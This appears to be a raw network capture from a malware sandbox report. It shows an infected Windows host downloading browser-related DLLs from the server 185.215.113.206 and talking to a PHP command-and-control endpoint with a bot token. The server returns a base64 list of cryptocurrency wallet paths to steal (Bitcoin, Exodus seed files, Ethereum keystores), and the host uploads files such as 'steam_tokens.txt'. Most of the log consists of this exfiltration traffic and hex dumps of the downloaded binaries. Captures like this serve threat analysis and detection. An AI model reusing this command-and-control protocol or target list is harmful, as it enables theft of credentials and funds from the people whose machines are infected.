Nov 16, 2024 23:36:34.773163080 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:34 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 16, 2024 23:36:34.773205042 CET	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]
Nov 16, 2024 23:36:34.773219109 CET	1236	IN	Data Raw: cc cc cc cc 55 89 e5 53 57 56 68 4f 01 00 00 e8 3f 0b 08 00 83 c4 04 85 c0 74 30 89 c7 89 80 38 01 00 00 83 c7 0f 31 f6 83 e7 f0 74 6b 8b 45 14 8b 55 10 8b 5d 0c 8b 4d 08 85 db 74 1f f2 0f 10 03 f2 0f 11 87 30 01 00 00 eb 25 68 13 e0 ff ff e8 f2 Data Ascii: USWVhO?t081tkEU]Mt0%h1<40jRjjPQWt8^_[]UWVut }jVt8h^_]USWVPL$,M01D$H
Nov 16, 2024 23:36:34.773236990 CET	1236	IN	Data Raw: 0c 89 c1 c1 e9 18 89 4c 24 10 c7 44 24 1c 00 00 00 00 89 44 24 08 c7 44 24 24 00 00 00 00 c7 44 24 20 00 00 00 00 31 d2 31 c9 89 5c 24 28 eb 24 89 c7 8b 44 24 1c 83 c0 01 83 f8 06 8b 54 24 18 8b 4c 24 14 0f 84 e2 01 00 00 89 44 24 1c 8a 44 24 07 Data Ascii: L$D$D$D$$D$ 11\$($D$T$L$D$D$t$8D$D$@L$T$\|$ L$$\$\$T$1%1%1T$D\|$@\|$t\$
Nov 16, 2024 23:36:34.773252964 CET	1236	IN	Data Raw: 89 d9 0f b6 5d e7 09 d8 89 4d d4 29 c1 09 ca c1 fa 1f f7 db 83 e3 07 31 ff 39 d9 f7 d2 0f 44 fa 89 45 d0 89 45 dc 89 ca f7 da c1 fa 1f f7 d2 8b 45 1c 80 7c 30 f7 01 19 db 09 d3 b8 01 00 00 00 29 c8 c1 f8 1f 8b 55 1c 80 7c 32 f6 01 19 d2 f7 d0 09 Data Ascii: ]M)19DEEE\|0)U\|2!!)]\|3)\|3!)}\|7!!)U\|2)\|2!!)M\|1t/E
Nov 16, 2024 23:36:34.773268938 CET	236	IN	Data Raw: cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 68 0c 01 00 00 e8 bf fc 07 00 83 c4 04 31 f6 85 c0 74 6c 89 c7 8b 45 08 c7 47 08 00 00 00 00 89 47 04 8b 48 04 ff 15 00 80 0a 10 ff d1 89 07 85 c0 74 31 8b 55 0c 89 f9 ff 75 14 ff 75 10 e8 17 fd ff ff 83 Data Ascii: USWVh1tlEGGHt1Uuut,tGHjSGW:G^_[]USWVUM]u>F9t:NVFMUtHHjWhjV4
Nov 16, 2024 23:36:34.773330927 CET	1236	IN	Data Raw: c4 0c eb 25 85 ff 74 15 89 c8 89 f1 89 d6 8b 55 10 56 50 e8 64 fc ff ff 83 c4 10 eb 6e 8d 46 08 89 45 ec 8b 46 08 89 45 f0 c7 46 08 00 00 00 00 89 5e 04 8b 4b 04 ff 15 00 80 0a 10 ff d1 89 06 bb ff ff ff ff 85 c0 74 3d 89 f1 8b 55 10 ff 75 18 ff Data Ascii: %tUVPdnFEFEF^Kt=Uuu#t>t FHjWEM1^_[]USWVu>FHW>FHXSVW^_[]USWVu}E@H
Nov 16, 2024 23:36:34.773382902 CET	1236	IN	Data Raw: 53 ff 75 08 57 e8 97 f7 07 00 83 c4 0c 0f b6 8d f0 fe ff ff 8b b5 ec fe ff ff 8a 04 0e 88 06 c6 04 0e 00 b8 02 00 00 00 0f b6 54 06 ff 0f b6 f9 01 d7 0f b6 8c 05 ef fe ff ff 01 f9 0f b6 f9 0f b6 1c 3e 88 5c 06 ff 88 14 3e 3d 00 01 00 00 74 25 0f Data Ascii: SuWT>\>=t%>>fM1^_[]U}thuo]UVuE9sh;UMVuPu^]
Nov 16, 2024 23:36:34.774125099 CET	424	IN	Data Raw: f7 17 66 0f 6f 1d e0 20 08 10 66 0f fe fb f3 0f 5b ff 66 0f 70 e6 f5 66 0f f4 f7 66 0f 70 ef f5 66 0f f4 ec 66 0f 6f e0 66 0f fe 25 d0 20 08 10 66 0f 70 fe e8 66 0f 70 ed e8 66 0f 62 fd 66 0f 6e 6c 07 04 66 0f ef db 66 0f 60 eb 66 0f 61 eb 66 0f Data Ascii: fo f[fpffpffof% fpfpfbfnlff`fafffrf% [fpffpfpffpfbffof fnf`fafrfo- f[fpffpffof%!fpfpfbfnTf`
Nov 16, 2024 23:36:34.774302006 CET	1236	IN	Data Raw: c7 04 e9 29 01 00 00 66 0f ef c9 66 0f 6f 05 c0 20 08 10 31 f6 66 0f ef d2 f6 c2 01 0f 84 9b 00 00 00 66 0f 6f 1d d0 20 08 10 66 0f fe d8 0b 75 cc 8b 45 10 66 0f 6e 2c 30 66 0f 6e 64 30 04 66 0f ef f6 66 0f 60 ee 66 0f 61 ee 66 0f 60 e6 66 0f 61 Data Ascii: )ffo 1ffo fuEfn,0fnd0ff`faf`fafrfo5 f[fpffpfpffpfbffrf[fpffpfpffpfbfffpffpUff~MU9UEuUM}]?
Nov 16, 2024 23:36:35.768250942 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 16, 2024 23:36:36.061650991 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:35 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 16, 2024 23:36:37.460983038 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 16, 2024 23:36:37.751888037 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:37 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 16, 2024 23:36:39.285649061 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 16, 2024 23:36:39.572935104 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:39 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 16, 2024 23:36:40.830967903 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 16, 2024 23:36:41.117844105 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:40 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 16, 2024 23:36:41.497585058 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 16, 2024 23:36:41.787961960 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:41 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 16, 2024 23:36:42.614986897 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIEBGIIJDGHCBGCBFIEG Host: 185.215.113.206 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Nov 16, 2024 23:36:43.406934977 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:42 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 16, 2024 23:36:43.476667881 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJJJEBFHDBGIECBFCBKJ Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 4a 4a 45 42 46 48 44 42 47 49 45 43 42 46 43 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 64 31 37 38 35 38 38 32 30 35 64 66 32 37 32 66 37 30 33 38 63 61 62 39 35 37 61 63 35 37 33 66 34 38 35 65 34 65 39 64 65 37 34 38 65 62 37 39 34 34 35 62 62 63 31 64 37 62 36 31 64 39 31 33 34 37 39 38 34 61 34 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4a 4a 45 42 46 48 44 42 47 49 45 43 42 46 43 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4a 4a 45 42 46 48 44 42 47 49 45 43 42 46 43 42 4b 4a 2d 2d 0d 0a Data Ascii: ------IJJJEBFHDBGIECBFCBKJContent-Disposition: form-data; name="token"3d178588205df272f7038cab957ac573f485e4e9de748eb79445bbc1d7b61d91347984a4------IJJJEBFHDBGIECBFCBKJContent-Disposition: form-data; name="message"wallets------IJJJEBFHDBGIECBFCBKJ--
Nov 16, 2024 23:36:43.768749952 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:43 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 16, 2024 23:36:43.771488905 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGDHJEGIEBFHDGDGHDHI Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 44 48 4a 45 47 49 45 42 46 48 44 47 44 47 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 64 31 37 38 35 38 38 32 30 35 64 66 32 37 32 66 37 30 33 38 63 61 62 39 35 37 61 63 35 37 33 66 34 38 35 65 34 65 39 64 65 37 34 38 65 62 37 39 34 34 35 62 62 63 31 64 37 62 36 31 64 39 31 33 34 37 39 38 34 61 34 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 48 4a 45 47 49 45 42 46 48 44 47 44 47 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 48 4a 45 47 49 45 42 46 48 44 47 44 47 48 44 48 49 2d 2d 0d 0a Data Ascii: ------DGDHJEGIEBFHDGDGHDHIContent-Disposition: form-data; name="token"3d178588205df272f7038cab957ac573f485e4e9de748eb79445bbc1d7b61d91347984a4------DGDHJEGIEBFHDGDGHDHIContent-Disposition: form-data; name="message"files------DGDHJEGIEBFHDGDGHDHI--
Nov 16, 2024 23:36:44.064039946 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:43 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 16, 2024 23:36:44.077543020 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAEBGCFIEHCFIDGCAAFB Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 41 45 42 47 43 46 49 45 48 43 46 49 44 47 43 41 41 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 64 31 37 38 35 38 38 32 30 35 64 66 32 37 32 66 37 30 33 38 63 61 62 39 35 37 61 63 35 37 33 66 34 38 35 65 34 65 39 64 65 37 34 38 65 62 37 39 34 34 35 62 62 63 31 64 37 62 36 31 64 39 31 33 34 37 39 38 34 61 34 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 42 47 43 46 49 45 48 43 46 49 44 47 43 41 41 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 42 47 43 46 49 45 48 43 46 49 44 47 43 41 41 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------BAEBGCFIEHCFIDGCAAFBContent-Disposition: form-data; name="token"3d178588205df272f7038cab957ac573f485e4e9de748eb79445bbc1d7b61d91347984a4------BAEBGCFIEHCFIDGCAAFBContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------BAEBGCFIEHCFIDGCAAFBContent-Disposition: form-data; name="file"------BAEBGCFIEHCFIDGCAAFB--
Nov 16, 2024 23:36:44.860769033 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:44 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
